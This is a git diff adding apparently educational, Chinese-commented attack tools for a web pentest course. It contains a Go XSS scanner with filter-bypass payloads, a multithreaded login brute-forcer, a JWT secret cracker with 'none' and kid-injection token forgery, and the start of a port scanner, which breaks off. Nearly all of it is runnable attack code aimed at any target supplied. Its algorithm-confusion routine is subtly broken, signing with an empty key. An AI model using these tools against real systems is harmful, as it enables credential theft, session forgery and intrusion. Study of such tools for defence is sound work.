+    for ctx, status in context.items():
+        color = Colors.YELLOW if status == "未过滤" else Colors.GREEN
+        print(f"  {color}{ctx}: {status}{Colors.END}")
+
+    results = fuzzer.test_reflected(args.url, args.param, args.method, data, cookies)
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    if results:
+        fuzzer.print_result("SUCCESS", f"发现 {len(results)} 个 XSS 漏洞!")
+        for r in results:
+            print(f"  - [{r['category']}] {r['param']}: {r['payload'][:60]}...")
+    else:
+        fuzzer.print_result("INFO", "未发现反射型 XSS 漏洞")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/02-xss/tools/xss-scanner.go b/02-xss/tools/xss-scanner.go
new file mode 100644
index 00000000..29022617
--- /dev/null
+++ b/02-xss/tools/xss-scanner.go
@@ -0,0 +1,289 @@
+// xss-scanner.go - 高性能 XSS 批量扫描工具
+package main
+
+import (
+	"flag"
+	"fmt"
+	"io"
+	"net/http"
+	"net/url"
+	"regexp"
+	"strings"
+	"sync"
+	"time"
+)
+
+type XSSResult struct {
+	URL      string
+	Payload  string
+	Type     string
+	Category string
+}
+
+type XSSScanner struct {
+	Client   *http.Client
+	Threads  int
+	Timeout  time.Duration
+	Payloads map[string][]string
+}
+
+var (
+	colorRed    = "\033[91m"
+	colorGreen  = "\033[92m"
+	colorYellow = "\033[93m"
+	colorBlue   = "\033[94m"
+	colorCyan   = "\033[96m"
+	colorBold   = "\033[1m"
+	colorEnd    = "\033[0m"
+)
+
+func NewXSSScanner(threads int, timeout time.Duration) *XSSScanner {
+	return &XSSScanner{
+		Client: &http.Client{
+			Timeout: timeout,
+			CheckRedirect: func(req *http.Request, via []*http.Request) error {
+				return http.ErrUseLastResponse
+			},
+		},
+		Threads: threads,
+		Timeout: timeout,
+		Payloads: map[string][]string{
+			"basic": {
+				"<script>alert(1)</script>",
+				"<script>alert('XSS')</script>",
+				"<img src=x onerror=alert(1)>",
+				"<svg onload=alert(1)>",
+				"<body onload=alert(1)>",
+			},
+			"event_handlers": {
+				"\"onfocus=alert(1) autofocus=",
+				"\"onmouseover=alert(1)//",
+				"\"onclick=alert(1)//",
+				"\"onerror=alert(1)//",
+				"\"onload=alert(1)//",
+			},
+			"tag_injection": {
+				"<img src=x onerror=alert(1)//",
+				"<svg/onload=alert(1)//",
+				"<video src=x onerror=alert(1)>",
+				"<details open ontoggle=alert(1)>",
+				"<marquee onstart=alert(1)>",
+			},
+			"filter_bypass": {
+				"<ScRiPt>alert(1)</ScRiPt>",
+				"<SCRIPT>alert(1)</SCRIPT>",
+				"<script >alert(1)</script >",
+				"<script\x00>alert(1)</script>",
+			},
+			"encoding": {
+				"%3Cscript%3Ealert(1)%3C/script%3E",
+				"&#x3C;script&#x3E;alert(1)&#x3C;/script&#x3E;",
+			},
+		},
+	}
+}
+
+func (s *XSSScanner) SendRequest(targetURL, method, param, payload string) (string, error) {
+	var req *http.Request
+	var err error
+
+	if method == "GET" {
+		u, _ := url.Parse(targetURL)
+		q := u.Query()
+		q.Set(param, payload)
+		u.RawQuery = q.Encode()
+		req, err = http.NewRequest("GET", u.String(), nil)
+	} else {
+		data := url.Values{}
+		data.Set(param, payload)
+		req, err = http.NewRequest("POST", targetURL, strings.NewReader(data.Encode()))
+		req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
+	}
+
+	if err != nil {
+		return "", err
+	}
+
+	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
+
+	resp, err := s.Client.Do(req)
+	if err != nil {
+		return "", err
+	}
+	defer resp.Body.Close()
+
+	body, _ := io.ReadAll(resp.Body)
+	return string(body), nil
+}
+
+func (s *XSSScanner) ScanURL(targetURL, method, param string) []XSSResult {
+	var results []XSSResult
+	var mu sync.Mutex
+
+	var wg sync.WaitGroup
+	sem := make(chan struct{}, s.Threads)
+
+	for category, payloads := range s.Payloads {
+		for _, payload := range payloads {
+			wg.Add(1)
+			go func(cat, p string) {
+				defer wg.Done()
+				sem <- struct{}{}
+				defer func() { <-sem }()
+
+				body, err := s.SendRequest(targetURL, method, param, p)
+				if err != nil {
+					return
+				}
+
+				if strings.Contains(body, p) || strings.Contains(body, url.QueryEscape(p)) {
+					mu.Lock()
+					results = append(results, XSSResult{
+						URL:      targetURL,
+						Payload:  p,
+						Type:     "Reflected XSS",
+						Category: cat,
+					})
+					mu.Unlock()
+					fmt.Printf("%s[VULN]%s [%s] %s - %s\n",
+						colorRed+colorBold, colorEnd, cat, param, p[:min(50, len(p))])
+				}
+			}(category, payload)
+		}
+	}
+
+	wg.Wait()
+	return results
+}
+
+func (s *XSSScanner) CheckCSP(targetURL string) map[string]interface{} {
+	result := map[string]interface{}{
+		"has_csp":    false,
+		"csp":        "",
+		"weaknesses": []string{},
+	}
+
+	resp, err := s.Client.Get(targetURL)
+	if err != nil {
+		return result
+	}
+	defer resp.Body.Close()
+
+	csp := resp.Header.Get("Content-Security-Policy")
+	if csp != "" {
+		result["has_csp"] = true
+		result["csp"] = csp
+
+		weaknesses := []string{}
+		if strings.Contains(csp, "unsafe-inline") {
+			weaknesses = append(weaknesses, "允许内联脚本 (unsafe-inline)")
+		}
+		if strings.Contains(csp, "unsafe-eval") {
+			weaknesses = append(weaknesses, "允许 eval (unsafe-eval)")
+		}
+		if strings.Contains(csp, "*") {
+			weaknesses = append(weaknesses, "使用通配符 (*)")
+		}
+		result["weaknesses"] = weaknesses
+	}
+
+	return result
+}
+
+func (s *XSSScanner) ScanDOMXSS(targetURL string) []map[string]string {
+	results := []map[string]string{}
+
+	resp, err := s.Client.Get(targetURL)
+	if err != nil {
+		return results
+	}
+	defer resp.Body.Close()
+
+	body, _ := io.ReadAll(resp.Body)
+	html := string(body)
+
+	patterns := map[string]string{
+		`document\.write\s*\([^)]*location`:      "document.write with location",
+		`element\.innerHTML\s*=\s*[^;]*location`: "innerHTML with location",
+		`eval\s*\([^)]*location`:                 "eval with location",
+		`window\.location\.hash`:                 "location.hash usage",
+	}
+
+	for pattern, desc := range patterns {
+		matched, _ := regexp.MatchString(pattern, html)
+		if matched {
+			results = append(results, map[string]string{
+				"pattern": pattern,
+				"desc":    desc,
+			})
+		}
+	}
+
+	return results
+}
+
+func min(a, b int) int {
+	if a < b {
+		return a
+	}
+	return b
+}
+
+func main() {
+	target := flag.String("u", "", "Target URL")
+	method := flag.String("m", "GET", "HTTP Method (GET/POST)")
+	param := flag.String("p", "q", "Parameter to test")
+	threads := flag.Int("t", 10, "Number of threads")
+	timeout := flag.Duration("timeout", 10*time.Second, "Request timeout")
+	checkCSP := flag.Bool("check-csp", false, "Check CSP headers")
+	domScan := flag.Bool("dom-scan", false, "Scan for DOM XSS")
+
+	flag.Parse()
+
+	if *target == "" {
+		fmt.Printf("%s[ERROR]%s Target URL is required. Use -u flag.\n", colorRed, colorEnd)
+		flag.Usage()
+		return
+	}
+
+	fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
+	fmt.Printf("%sXSS Scanner (Go)%s\n", colorBold, colorEnd)
+	fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
+
+	scanner := NewXSSScanner(*threads, *timeout)
+
+	fmt.Printf("%s[INFO]%s Target: %s\n", colorBlue, colorEnd, *target)
+	fmt.Printf("%s[INFO]%s Method: %s\n", colorBlue, colorEnd, *method)
+	fmt.Printf("%s[INFO]%s Parameter: %s\n", colorBlue, colorEnd, *param)
+
+	if *checkCSP {
+		fmt.Printf("\n%s[*]%s Checking CSP...\n", colorCyan, colorEnd)
+		cspResult := scanner.CheckCSP(*target)
+		if cspResult["has_csp"].(bool) {
+			fmt.Printf("%s[+]%s CSP configured: %s\n", colorGreen, colorEnd, cspResult["csp"].(string)[:min(100, len(cspResult["csp"].(string)))])
+			for _, w := range cspResult["weaknesses"].([]string) {
+				fmt.Printf("%s[-]%s Weakness: %s\n", colorYellow, colorEnd, w)
+			}
+		} else {
+			fmt.Printf("%s[-]%s No CSP configured!\n", colorYellow, colorEnd)
+		}
+	}
+
+	if *domScan {
+		fmt.Printf("\n%s[*]%s Scanning for DOM XSS...\n", colorCyan, colorEnd)
+		domResults := scanner.ScanDOMXSS(*target)
+		for _, r := range domResults {
+			fmt.Printf("%s[-]%s Potential DOM XSS: %s\n", colorYellow, colorEnd, r["desc"])
+		}
+	}
+
+	fmt.Printf("\n%s[*]%s Testing XSS payloads...\n", colorCyan, colorEnd)
+	results := scanner.ScanURL(*target, *method, *param)
+
+	fmt.Printf("\n%s%s%s\n", colorBold, strings.Repeat("=", 60), colorEnd)
+	fmt.Printf("%s[SUMMARY]%s Found %d XSS vulnerabilities\n", colorGreen, colorEnd, len(results))
+	for _, r := range results {
+		fmt.Printf("  - [%s] %s: %s\n", r.Category, r.Type, r.Payload[:min(50, len(r.Payload))])
+	}
+	fmt.Printf("%s%s%s\n\n", colorBold, strings.Repeat("=", 60), colorEnd)
+}
diff --git a/03-authentication/bruteforce/tools/web-brute.py b/03-authentication/bruteforce/tools/web-brute.py
new file mode 100644
index 00000000..88cba0e0
--- /dev/null
+++ b/03-authentication/bruteforce/tools/web-brute.py
@@ -0,0 +1,313 @@
+#!/usr/bin/env python3
+"""
+Web Brute Force Tool
+Web 暴力破解工具
+
+支持:
+- HTTP Basic Auth
+- Form 登录
+- 多线程破解
+- 代理支持
+- 验证码绕过
+
+Usage:
+    python3 web-brute.py -u "http://target.com/login" -U usernames.txt -P passwords.txt
+    python3 web-brute.py -u "http://target.com/login" --user admin -P passwords.txt -d "username=^USER^&password=^PASS^"
+"""
+
+import argparse
+import requests
+import time
+import threading
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from typing import List, Dict, Tuple, Optional
+import re
+import sys
+
+
+class Colors:
+    RED = "\033[91m"
+    GREEN = "\033[92m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    CYAN = "\033[96m"
+    END = "\033[0m"
+    BOLD = "\033[1m"
+
+
+class WebBruteForcer:
+    def __init__(self, threads: int = 5, timeout: int = 10, delay: float = 0):
+        self.threads = threads
+        self.timeout = timeout
+        self.delay = delay
+        self.session = requests.Session()
+        self.session.headers.update(
+            {
+                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+            }
+        )
+        self.found = []
+        self.lock = threading.Lock()
+        self.attempts = 0
+        self.start_time = None
+
+    def print_result(self, level: str, msg: str):
+        colors = {
+            "INFO": Colors.BLUE,
+            "SUCCESS": Colors.GREEN,
+            "WARNING": Colors.YELLOW,
+            "ERROR": Colors.RED,
+            "VULN": Colors.RED + Colors.BOLD,
+            "FOUND": Colors.GREEN + Colors.BOLD,
+        }
+        print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
+
+    def load_wordlist(self, filepath: str) -> List[str]:
+        """加载字典文件"""
+        try:
+            with open(filepath, "r", encoding="utf-8", errors="ignore") as f:
+                return [
+                    line.strip()
+                    for line in f
+                    if line.strip() and not line.startswith("#")
+                ]
+        except FileNotFoundError:
+            self.print_result("ERROR", f"字典文件不存在: {filepath}")
+            return []
+
+    def try_login(
+        self,
+        url: str,
+        username: str,
+        password: str,
+        method: str = "POST",
+        data_template: str = None,
+        headers: Dict = None,
+        cookies: Dict = None,
+        success_pattern: str = None,
+        fail_pattern: str = None,
+        success_codes: List[int] = None,
+    ) -> Tuple[bool, Dict]:
+        """尝试登录"""
+        self.attempts += 1
+
+        if data_template:
+            data = data_template.replace("^USER^", username).replace("^PASS^", password)
+            if "=" in data:
+                post_data = {}
+                for pair in data.split("&"):
+                    if "=" in pair:
+                        k, v = pair.split("=", 1)
+                        post_data[k] = v
+            else:
+                post_data = {"username": username, "password": password}
+        else:
+            post_data = {"username": username, "password": password}
+
+        try:
+            if method.upper() == "GET":
+                resp = self.session.get(
+                    url,
+                    params=post_data,
+                    headers=headers,
+                    cookies=cookies,
+                    timeout=self.timeout,
+                    allow_redirects=True,
+                    verify=False,
+                )
+            else:
+                resp = self.session.post(
+                    url,
+                    data=post_data,
+                    headers=headers,
+                    cookies=cookies,
+                    timeout=self.timeout,
+                    allow_redirects=True,
+                    verify=False,
+                )
+
+            result = {
+                "status_code": resp.status_code,
+                "response_length": len(resp.text),
+                "url": resp.url,
+            }
+
+            if success_codes and resp.status_code in success_codes:
+                return True, result
+
+            if success_pattern and re.search(success_pattern, resp.text, re.IGNORECASE):
+                return True, result
+
+            if fail_pattern and re.search(fail_pattern, resp.text, re.IGNORECASE):
+                return False, result
+
+            if resp.status_code == 302 or "login" not in resp.url.lower():
+                if "error" not in resp.text.lower() and "fail" not in resp.text.lower():
+                    if len(resp.text) > 1000:
+                        return True, result
+
+            return False, result
+
+        except Exception as e:
+            return False, {"error": str(e)}
+
+    def brute_force(
+        self,
+        url: str,
+        usernames: List[str],
+        passwords: List[str],
+        method: str = "POST",
+        data_template: str = None,
+        success_pattern: str = None,
+        fail_pattern: str = None,
+        verbose: bool = True,
+    ) -> List[Dict]:
+        """暴力破解"""
+        self.start_time = time.time()
+        total = len(usernames) * len(passwords)
+
+        self.print_result(
+            "INFO",
+            f"开始暴力破解: {len(usernames)} 用户 × {len(passwords)} 密码 = {total} 组合",
+        )
+
+        with ThreadPoolExecutor(max_workers=self.threads) as executor:
+            futures = {}
+
+            for username in usernames:
+                for password in passwords:
+                    future = executor.submit(
+                        self.try_login,
+                        url,
+                        username,
+                        password,
+                        method,
+                        data_template,
+                        None,
+                        None,
+                        success_pattern,
+                        fail_pattern,
+                    )
+                    futures[future] = (username, password)
+
+                    if self.delay > 0:
+                        time.sleep(self.delay)
+
+            for future in as_completed(futures):
+                username, password = futures[future]
+                success, result = future.result()
+
+                if verbose and self.attempts % 100 == 0:
+                    elapsed = time.time() - self.start_time
+                    rate = self.attempts / elapsed if elapsed > 0 else 0
+                    print(
+                        f"\r{Colors.CYAN}[*]{Colors.END} 进度: {self.attempts}/{total} ({rate:.1f}/s)",
+                        end="",
+                        flush=True,
+                    )
+
+                if success:
+                    with self.lock:
+                        found_item = {
+                            "username": username,
+                            "password": password,
+                            "result": result,
+                        }
+                        self.found.append(found_item)
+                        self.print_result("FOUND", f"成功! {username}:{password}")
+
+                if self.delay > 0:
+                    time.sleep(self.delay)
+
+        if verbose:
+            print()
+
+        return self.found
+
+
+def main():
+    parser = argparse.ArgumentParser(description="Web Brute Force Tool")
+    parser.add_argument("-u", "--url", required=True, help="目标登录URL")
+    parser.add_argument("-U", "--userlist", help="用户名字典文件")
+    parser.add_argument("-P", "--passlist", help="密码字典文件")
+    parser.add_argument("--user", help="单个用户名")
+    parser.add_argument("--pass", dest="password", help="单个密码")
+    parser.add_argument(
+        "-m", "--method", default="POST", choices=["GET", "POST"], help="HTTP方法"
+    )
+    parser.add_argument(
+        "-d", "--data", help="POST数据模板 (使用 ^USER^ 和 ^PASS^ 占位符)"
+    )
+    parser.add_argument("--success", help="成功匹配模式 (正则)")
+    parser.add_argument("--fail", help="失败匹配模式 (正则)")
+    parser.add_argument("-t", "--threads", type=int, default=5, help="线程数")
+    parser.add_argument("--timeout", type=int, default=10, help="超时时间")
+    parser.add_argument("--delay", type=float, default=0, help="请求延迟(秒)")
+    parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
+
+    args = parser.parse_args()
+
+    requests.packages.urllib3.disable_warnings()
+
+    bruteforcer = WebBruteForcer(
+        threads=args.threads, timeout=args.timeout, delay=args.delay
+    )
+
+    usernames = []
+    if args.userlist:
+        usernames = bruteforcer.load_wordlist(args.userlist)
+    elif args.user:
+        usernames = [args.user]
+    else:
+        bruteforcer.print_result("ERROR", "请提供用户名 (--user 或 -U)")
+        sys.exit(1)
+
+    passwords = []
+    if args.passlist:
+        passwords = bruteforcer.load_wordlist(args.passlist)
+    elif args.password:
+        passwords = [args.password]
+    else:
+        bruteforcer.print_result("ERROR", "请提供密码 (--pass 或 -P)")
+        sys.exit(1)
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    print(f"{Colors.BOLD}Web Brute Force Tool{Colors.END}")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+    bruteforcer.print_result("INFO", f"目标: {args.url}")
+    bruteforcer.print_result("INFO", f"用户数: {len(usernames)}")
+    bruteforcer.print_result("INFO", f"密码数: {len(passwords)}")
+
+    if args.data:
+        bruteforcer.print_result("INFO", f"数据模板: {args.data}")
+
+    results = bruteforcer.brute_force(
+        url=args.url,
+        usernames=usernames,
+        passwords=passwords,
+        method=args.method,
+        data_template=args.data,
+        success_pattern=args.success,
+        fail_pattern=args.fail,
+        verbose=args.verbose,
+    )
+
+    elapsed = time.time() - bruteforcer.start_time
+    rate = bruteforcer.attempts / elapsed if elapsed > 0 else 0
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    bruteforcer.print_result("INFO", f"总尝试: {bruteforcer.attempts}")
+    bruteforcer.print_result("INFO", f"耗时: {elapsed:.2f}s ({rate:.1f} req/s)")
+
+    if results:
+        bruteforcer.print_result("SUCCESS", f"发现 {len(results)} 个有效凭证!")
+        for r in results:
+            print(f"  - {r['username']}:{r['password']}")
+    else:
+        bruteforcer.print_result("INFO", "未发现有效凭证")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/03-authentication/jwt/tools/jwt-cracker.py b/03-authentication/jwt/tools/jwt-cracker.py
new file mode 100644
index 00000000..5a723b21
--- /dev/null
+++ b/03-authentication/jwt/tools/jwt-cracker.py
@@ -0,0 +1,387 @@
+#!/usr/bin/env python3
+"""
+JWT Cracker & Analyzer
+JWT 弱密钥破解与分析工具
+
+支持:
+- JWT 结构解析
+- 弱密钥暴力破解
+- none 算法攻击
+- kid 注入攻击
+- 密钥泄露检测
+
+Usage:
+    python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
+    python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." -w wordlist.txt
+    python3 jwt-cracker.py -t "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." --attack none
+"""
+
+import argparse
+import base64
+import json
+import hmac
+import hashlib
+import time
+from typing import Dict, Optional, Tuple, List
+import sys
+import re
+
+
+class Colors:
+    RED = "\033[91m"
+    GREEN = "\033[92m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    CYAN = "\033[96m"
+    END = "\033[0m"
+    BOLD = "\033[1m"
+
+
+class JWTCracker:
+    def __init__(self):
+        self.common_secrets = [
+            "secret",
+            "password",
+            "123456",
+            "admin",
+            "key",
+            "jwt",
+            "token",
+            "secret123",
+            "password123",
+            "admin123",
+            "12345678",
+            "qwerty",
+            "letmein",
+            "welcome",
+            "monkey",
+            "dragon",
+            "master",
+            "login",
+            "abc123",
+            "111111",
+            "password1",
+            "iloveyou",
+            "trustno1",
+            "sunshine",
+            "princess",
+            "football",
+            "baseball",
+            "shadow",
+            "superman",
+            "michael",
+            "000000",
+            "654321",
+            "passw0rd",
+            "access",
+            "root",
+            "toor",
+            "guest",
+            "test",
+            "demo",
+            "default",
+            "changeme",
+            "server",
+            "api",
+            "private",
+        ]
+
+    def print_result(self, level: str, msg: str):
+        colors = {
+            "INFO": Colors.BLUE,
+            "SUCCESS": Colors.GREEN,
+            "WARNING": Colors.YELLOW,
+            "ERROR": Colors.RED,
+            "FOUND": Colors.GREEN + Colors.BOLD,
+        }
+        print(f"{colors.get(level, '')}[{level}]{Colors.END} {msg}")
+
+    def base64url_decode(self, data: str) -> bytes:
+        """Base64URL 解码"""
+        padding = 4 - len(data) % 4
+        if padding != 4:
+            data += "=" * padding
+        return base64.urlsafe_b64decode(data)
+
+    def base64url_encode(self, data: bytes) -> str:
+        """Base64URL 编码"""
+        return base64.urlsafe_b64encode(data).rstrip(b"=").decode("utf-8")
+
+    def decode(self, token: str) -> Tuple[Dict, Dict, bytes]:
+        """解码 JWT"""
+        try:
+            parts = token.split(".")
+            if len(parts) != 3:
+                raise ValueError("无效的 JWT 格式")
+
+            header = json.loads(self.base64url_decode(parts[0]))
+            payload = json.loads(self.base64url_decode(parts[1]))
+            signature = self.base64url_decode(parts[2])
+
+            return header, payload, signature
+        except Exception as e:
+            raise ValueError(f"JWT 解码失败: {e}")
+
+    def encode(
+        self, header: Dict, payload: Dict, secret: str = "", algorithm: str = "HS256"
+    ) -> str:
+        """编码 JWT"""
+        header_b64 = self.base64url_encode(
+            json.dumps(header, separators=(",", ":")).encode()
+        )
+        payload_b64 = self.base64url_encode(
+            json.dumps(payload, separators=(",", ":")).encode()
+        )
+
+        message = f"{header_b64}.{payload_b64}"
+
+        if algorithm.lower() == "none":
+            return f"{message}."
+
+        signature = self.sign(message, secret, algorithm)
+        signature_b64 = self.base64url_encode(signature)
+
+        return f"{message}.{signature_b64}"
+
+    def sign(self, message: str, secret: str, algorithm: str) -> bytes:
+        """签名"""
+        algo_map = {
+            "HS256": hashlib.sha256,
+            "HS384": hashlib.sha384,
+            "HS512": hashlib.sha512,
+        }
+
+        if algorithm not in algo_map:
+            raise ValueError(f"不支持的算法: {algorithm}")
+
+        return hmac.new(secret.encode(), message.encode(), algo_map[algorithm]).digest()
+
+    def verify(self, token: str, secret: str) -> bool:
+        """验证 JWT 签名"""
+        try:
+            header, payload, signature = self.decode(token)
+            algorithm = header.get("alg", "HS256")
+
+            parts = token.split(".")
+            message = f"{parts[0]}.{parts[1]}"
+
+            expected_sig = self.sign(message, secret, algorithm)
+
+            return hmac.compare_digest(signature, expected_sig)
+        except Exception:
+            return False
+
+    def crack(
+        self, token: str, wordlist: List[str] = None, verbose: bool = True
+    ) -> Optional[str]:
+        """暴力破解密钥"""
+        secrets = wordlist if wordlist else self.common_secrets
+        total = len(secrets)
+
+        if verbose:
+            self.print_result("INFO", f"开始破解 {total} 个密钥...")
+
+        start_time = time.time()
+
+        for i, secret in enumerate(secrets):
+            if verbose and i % 100 == 0:
+                print(
+                    f"\r{Colors.CYAN}[*]{Colors.END} 进度: {i}/{total}",
+                    end="",
+                    flush=True,
+                )
+
+            if self.verify(token, secret):
+                if verbose:
+                    print()
+                return secret
+
+        if verbose:
+            print()
+
+        return None
+
+    def attack_none_algorithm(self, token: str) -> str:
+        """none 算法攻击"""
+        header, payload, _ = self.decode(token)
+
+        header["alg"] = "none"
+
+        return self.encode(header, payload, "", "none")
+
+    def attack_algorithm_confusion(self, token: str) -> str:
+        """算法混淆攻击 (HS256 -> RS256)"""
+        header, payload, _ = self.decode(token)
+
+        header["alg"] = "HS256"
+
+        return self.encode(header, payload, "", "HS256")
+
+    def attack_kid_injection(self, token: str, injection: str = "/dev/null") -> str:
+        """kid 注入攻击"""
+        header, payload, _ = self.decode(token)
+
+        header["kid"] = injection
+
+        return self.encode(header, payload, "", "HS256")
+
+    def analyze(self, token: str) -> Dict:
+        """分析 JWT"""
+        try:
+            header, payload, signature = self.decode(token)
+
+            analysis = {
+                "header": header,
+                "payload": payload,
+                "algorithm": header.get("alg", "Unknown"),
+                "type": header.get("typ", "Unknown"),
+                "issues": [],
+            }
+
+            if header.get("alg") == "none":
+                analysis["issues"].append(
+                    {
+                        "severity": "HIGH",
+                        "issue": "使用 none 算法",
+                        "description": "JWT 使用 none 算法，无签名验证",
+                    }
+                )
+
+            if header.get("alg") in ["HS256", "HS384", "HS512"]:
+                analysis["issues"].append(
+                    {
+                        "severity": "MEDIUM",
+                        "issue": "使用对称加密",
+                        "description": "使用 HMAC 算法，密钥可能被暴力破解",
+                    }
+                )
+
+            sensitive_fields = ["password", "secret", "token", "key", "credit", "ssn"]
+            for field in sensitive_fields:
+                if field in str(payload).lower():
+                    analysis["issues"].append(
+                        {
+                            "severity": "MEDIUM",
+                            "issue": f"包含敏感字段: {field}",
+                            "description": "Payload 可能包含敏感信息",
+                        }
+                    )
+
+            if "exp" in payload:
+                exp_time = payload["exp"]
+                if exp_time < time.time():
+                    analysis["issues"].append(
+                        {
+                            "severity": "LOW",
+                            "issue": "Token 已过期",
+                            "description": f"过期时间: {time.ctime(exp_time)}",
+                        }
+                    )
+            else:
+                analysis["issues"].append(
+                    {
+                        "severity": "LOW",
+                        "issue": "无过期时间",
+                        "description": "Token 没有过期时间 (exp)",
+                    }
+                )
+
+            return analysis
+
+        except Exception as e:
+            return {"error": str(e)}
+
+
+def main():
+    parser = argparse.ArgumentParser(description="JWT Cracker & Analyzer")
+    parser.add_argument("-t", "--token", required=True, help="JWT Token")
+    parser.add_argument("-w", "--wordlist", help="密钥字典文件")
+    parser.add_argument(
+        "--attack", choices=["none", "kid", "confusion"], help="攻击类型"
+    )
+    parser.add_argument("--kid-injection", default="/dev/null", help="KID 注入值")
+    parser.add_argument("--analyze", action="store_true", help="分析 JWT")
+    parser.add_argument("-v", "--verbose", action="store_true", help="详细输出")
+
+    args = parser.parse_args()
+
+    cracker = JWTCracker()
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}")
+    print(f"{Colors.BOLD}JWT Cracker & Analyzer{Colors.END}")
+    print(f"{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+    try:
+        header, payload, _ = cracker.decode(args.token)
+
+        print(f"{Colors.CYAN}Header:{Colors.END}")
+        print(f"  {json.dumps(header, indent=2)}")
+        print(f"\n{Colors.CYAN}Payload:{Colors.END}")
+        print(f"  {json.dumps(payload, indent=2)}")
+
+    except Exception as e:
+        cracker.print_result("ERROR", str(e))
+        sys.exit(1)
+
+    if args.analyze:
+        print(f"\n{Colors.CYAN}Analysis:{Colors.END}")
+        analysis = cracker.analyze(args.token)
+
+        if "issues" in analysis:
+            for issue in analysis["issues"]:
+                color = (
+                    Colors.RED
+                    if issue["severity"] == "HIGH"
+                    else Colors.YELLOW
+                    if issue["severity"] == "MEDIUM"
+                    else Colors.BLUE
+                )
+                print(f"  {color}[{issue['severity']}]{Colors.END} {issue['issue']}")
+                print(f"    {issue['description']}")
+
+    if args.attack:
+        print(f"\n{Colors.CYAN}Attack: {args.attack}{Colors.END}")
+
+        if args.attack == "none":
+            forged = cracker.attack_none_algorithm(args.token)
+            cracker.print_result("SUCCESS", f"Forged Token (none): {forged}")
+
+        elif args.attack == "kid":
+            forged = cracker.attack_kid_injection(args.token, args.kid_injection)
+            cracker.print_result("SUCCESS", f"Forged Token (kid): {forged}")
+
+        elif args.attack == "confusion":
+            forged = cracker.attack_algorithm_confusion(args.token)
+            cracker.print_result("INFO", "需要公钥来利用算法混淆攻击")
+
+    wordlist = None
+    if args.wordlist:
+        try:
+            with open(args.wordlist, "r") as f:
+                wordlist = [line.strip() for line in f if line.strip()]
+        except FileNotFoundError:
+            cracker.print_result("ERROR", f"字典文件不存在: {args.wordlist}")
+            sys.exit(1)
+
+    print(f"\n{Colors.CYAN}Cracking...{Colors.END}")
+    start = time.time()
+    secret = cracker.crack(args.token, wordlist, args.verbose)
+    elapsed = time.time() - start
+
+    if secret:
+        cracker.print_result("FOUND", f"密钥破解成功: {secret}")
+        cracker.print_result("INFO", f"耗时: {elapsed:.2f}s")
+
+        forged = cracker.encode(header, payload, secret, header.get("alg", "HS256"))
+        cracker.print_result("SUCCESS", f"可以伪造任意 Token")
+    else:
+        cracker.print_result(
+            "WARNING",
+            f"未能破解密钥 (尝试了 {len(wordlist) if wordlist else len(cracker.common_secrets)} 个)",
+        )
+
+    print(f"\n{Colors.BOLD}{'=' * 60}{Colors.END}\n")
+
+
+if __name__ == "__main__":
+    main()
diff --git a/04-server-security/scanning/tools/port-scanner.py b/04-server-security/scanning/tools/port-scanner.py
new file mode 100644
index 00000000..1ec82236
--- /dev/null
+++ b/04-server-security/scanning/tools/port-scanner.py
@@ -0,0 +1,261 @@
+#!/usr/bin/env python3
+"""
+Port Scanner - 多线程端口扫描工具
+
+支持:
+- TCP Connect 扫描
+- SYN 扫描 (需要 root)
+- 服务指纹识别
+- 多线程扫描
+- 自定义端口范围
+
+Usage:
+    python3 port-scanner.py -H 192.168.1.1 -p 1-1000
+    python3 port-scanner.py -H 192.168.1.1 -p 80,443,8080
+    python3 port-scanner.py -H 192.168.1.1 --top-ports 100
+"""
+
+import argparse
+import socket
+import threading
+import time
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from typing import List, Dict, Tuple, Optional
+import sys
+
+
+class Colors:
+    RED = "\033[91m"
+    GREEN = "\033[92m"
+    YELLOW = "\033[93m"
+    BLUE = "\033[94m"
+    CYAN = "\033[96m"
+    END = "\033[0m"
+    BOLD = "\033[1m"
+
+
+class PortScanner:
+    def __init__(self, threads: int = 100, timeout: float = 1.0):
+        self.threads = threads
+        self.timeout = timeout
+        self.open_ports = []
+        self.lock = threading.Lock()
+
+        self.service_banners = {
+            21: "FTP",
+            22: "SSH",
+            23: "Telnet",
+            25: "SMTP",
+            53: "DNS",
+            80: "HTTP",
+            110: "POP3",
+            135: "RPC",
+            139: "NetBIOS",
+            143: "IMAP",
+            443: "HTTPS",
+            445: "SMB",
+            993: "IMAPS",
+            995: "POP3S",
+            1433: "MSSQL",
+            1521: "Oracle",
+            3306: "MySQL",
+            3389: "RDP",
+            5432: "PostgreSQL",
+            5900: "VNC",
+            6379: "Redis",
+            8080: "HTTP-Proxy",
+            8443: "HTTPS-Alt",
+            8888: "HTTP-Alt",
+            9000: "PHP-FPM",
+            9200: "Elasticsearch",
+            27017: "MongoDB",
+        }
+
+        self.top_ports = [
+            21,
+            22,
+            23,
+            25,
+            53,
+            80,
+            110,
+            111,
+            135,
+            139,
+            143,
+            443,
+            445,
+            993,
+            995,
+            1433,
+            1434,
+            1723,
+            3306,
+            3389,
+            5432,
+            5900,
